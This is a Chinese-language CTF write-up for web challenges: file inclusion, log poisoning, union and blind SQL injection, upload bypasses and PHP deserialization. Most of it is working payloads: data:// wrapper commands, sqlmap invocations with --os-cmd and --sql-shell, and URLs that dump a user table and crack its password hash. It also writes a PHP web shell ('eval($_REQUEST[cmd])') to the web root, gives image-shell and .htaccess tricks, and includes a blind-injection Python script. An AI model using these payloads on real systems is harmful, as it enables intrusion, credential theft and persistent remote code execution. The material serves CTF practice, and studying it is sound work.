CTF-竞技平台
Table of Contents
文件上传1
上传图片马bp改后缀


file_include-file1
文件包含
?file=data://text/plain,<?php system('tac /ffff/ctf/flag.php');?>
file_include-guolvphp
php被替换为???,可以大小写绕过(str_replace区分大小写、str_ireplace不区分),也可以用data
?file=data://text/plain,<?= system('tac flag.???');?>
file_include-guolvphpdata
php和data和:冒号都被过滤了 ,日志文件包含
Linux的nginx日志文件路径是/var/log/nginx/access.log,要在用文件包含漏洞读取日志文件的同时,修改ua头为我们想要执行的命令(burp中go要点两次才能执行命令,第一次将代码写入日志,第二次执行代码。
且操作一定不能出问题,如果报错就要销毁容器从头再来 。因为php语法错误后不再解释执行后面代码,语法错误后,后面不管语法对不对都不执行了。我们包含了日志文件,如果日志文件中我们插入了错误的php代码,那么我们再次执行对的代码时会先执行那个错误的php代码,因为报错,所以后面正确的就不会执行了。


easyqli
点击测试新闻bp抓包获取get信息,使用sqlmap跑




其中出现了三次提示:
it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起来像后端DBMS是’MySQL’。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入”Y”
for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]
对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗? [Y/n] 输入”N”
GET parameter ‘n’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
POST参数’n’是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N] 输入”Y”
python2 sqlmap.py -u "http://81.70.245.6:50109/backend/content_detail.php?id=1" -D news --dump

设置目标URL 
-u /--url 
最基本格式 sqlmap -u “http://www.target.com/index.php?id=1” 
-m 
从文本中获取多个目标扫描. sqlmap -m urllist.txt
-r 从文件中加载 HTTP 请求
--dbs 返回当前连接的数据库 
--current-db 返回当前网站数据库的数据库用户 
-D 指定数据库系统的数据库名 
--tables 列举数据库表
-T 指定数据库表名
--columns 列举数据库表中的字段
-C 指定数据库表中的字段名
--dump 获取整个表的数据 
读取当前用户和数据库
sqlmap -u "http://xxxxx/index.php?id=1" --current-user --current-db 
获取sql-shell(数据库权限)
sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --sql-shell
执行系统命令
sqlmap -u "http://xxxxx/index.php?id=1" --os-cmd=whoami 
判断是否有dba权限
sqlmap -u "http://xxxxx/index.php?id=1" --is-dba 
读取指定数据库用户的密码
sqlmap -u "http://xxxxx/index.php?id=1" --passwords -U root 
sql注入-int
1  # select * from news where id=1
?id=1 order by 2
?id=-1 union select 1,2
?id=-1 union select database(),version()  # sqli
——————————————————————————————————————————————————————
?id=-1 union select group_concat(table_name),version() from information_schema.tables where table_schema=database()
?id=-1 union select group_concat(column_name),version() from information_schema.columns where table_name='flag'
#   flag
?id=-1 union select group_concat(flag),version() from flag新闻系统
用union联合多表时,发现如果字段类型不同是可以union,不过今天的却不行,报这个错:#1271 - Illegal mix of collations for operation 'UNION'

检查,是字段编码不同导致的问题,总结他们的不同utf8_bin
utf8_general_ci
utf8_unicode_ci
utf8_bin 与 utf8_unicode_ci 可以
utf8_general_ci 与 utf8_unicode_ci 不可以
注意由于编码问题会显示 UNION 非法,由于这个是中文网页,后台数据可能是 gbk 编码,修改编码后回显。
http://81.70.245.6:50358/show.php?id=33 order by 15#
http://81.70.245.6:50358/show.php?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15#
http://81.70.245.6:50358/show.php?id=-33 union select 1,2,group_concat(convert(table_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()#
http://81.70.245.6:50358/show.php?id=-33 union select 1,2,group_concat(convert(column_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name='cms_users'#
http://81.70.245.6:50358/show.php?id=-33 union select 1,2,group_concat(concat_ws(':',convert(username using gbk),convert(password using gbk))),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users#
admin e10adc3949ba59abbe56e057f20f883e
md5解码为 123456


万能密码可以直接登录后台。。。
后台啥也没有
读写文件
http://81.70.245.6:50180/show.php?id=-33 union select 1,2,'<?php @eval($_REQUEST[cmd]);?>',4,5,6,7,8,9,10,11,12,13,14,15 into outfile '/var/www/html/one.php'

sqli 堆叠注入 user-agent头 handler
回显了User-Agent、IP、uname数据,猜测讲这些数据插入了数据库然后查询返回,结合上图别打头,猜测就是User-Agent注入。过滤了select





upload-a
上传图片马,bp抓包改为phtml

浏览器
刷新bp抓包,根据提示修改头



命令行curl --local-port指定端口
curl --GET / HTTP/1.1 -A:"SniperOJ-Web-Broswer" "X-forwarded-for:127.0.0.1" curl --user-agent "SniperOJ-Web-Broswer" -H "X-Forwarded-For:127.0.0.1"  http://81.70.245.6:50366/

ubtoken
进入后台找地方传马



BABYUPLOAD
上传.htaccess图片马,bp修改文件名
<FilesMatch "one.jpg">
SetHandler application/x-httpd-php
</FilesMatch>上传<script>图片马,因为php文件头被检测
one.jpg
GIF89a
<script language="php">eval($_POST['cmd']);</script>
UPLOAD-GAI2
图片马bp修改后缀,eval和assert不能用,用assert拼接

sql
盲注脚本跑
import requests
url = "http://81.70.245.6:50428/index.php"
for i in range(300):
    data = {
            "username":"admin' and length((  select group_concat(password) from users     ))=" + str(i) + "-- +"
            }
    r2 = requests.post(url, data=data)
    if "hello" in r2.text:
        length = i
        print ("length:",i)
        break
d = ""
for j in range(1, length + 1):
    dic = "0123456789abcdefghijklmnopqrstuvwxyz,-./:;<=>?@[\]^_`{|}~"
    for i in dic:
        data = {
                "username":"admin' and substr(((     select group_concat(password) from users       )),"+str(j)+",1)='" + str(i) + "' -- +"
                }
        r = requests.post(url, data = data)
        if 'hello' in r.text:
            d += str(i)
            print (i)
            print (d)
            break
代码审计
只需要满足传入的username和password等于ctfuser类中的username和password即可。
?username=xxxxxx&password=xxxxxx
serialize1
对象没有直接构建好,是通过cookie中的user值获取对象的。
因此自己序列化一个对象,修改cookie,get username和password=xxxxxx



serialize2
这一题比之前的题目多判断了一个账号密码不能一样,所以payload为
<?php
class ctfuser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}
$user = new ctfuser();
$user->isVip = true;
$user->username = '6';
echo urlencode(serialize($user));
?>

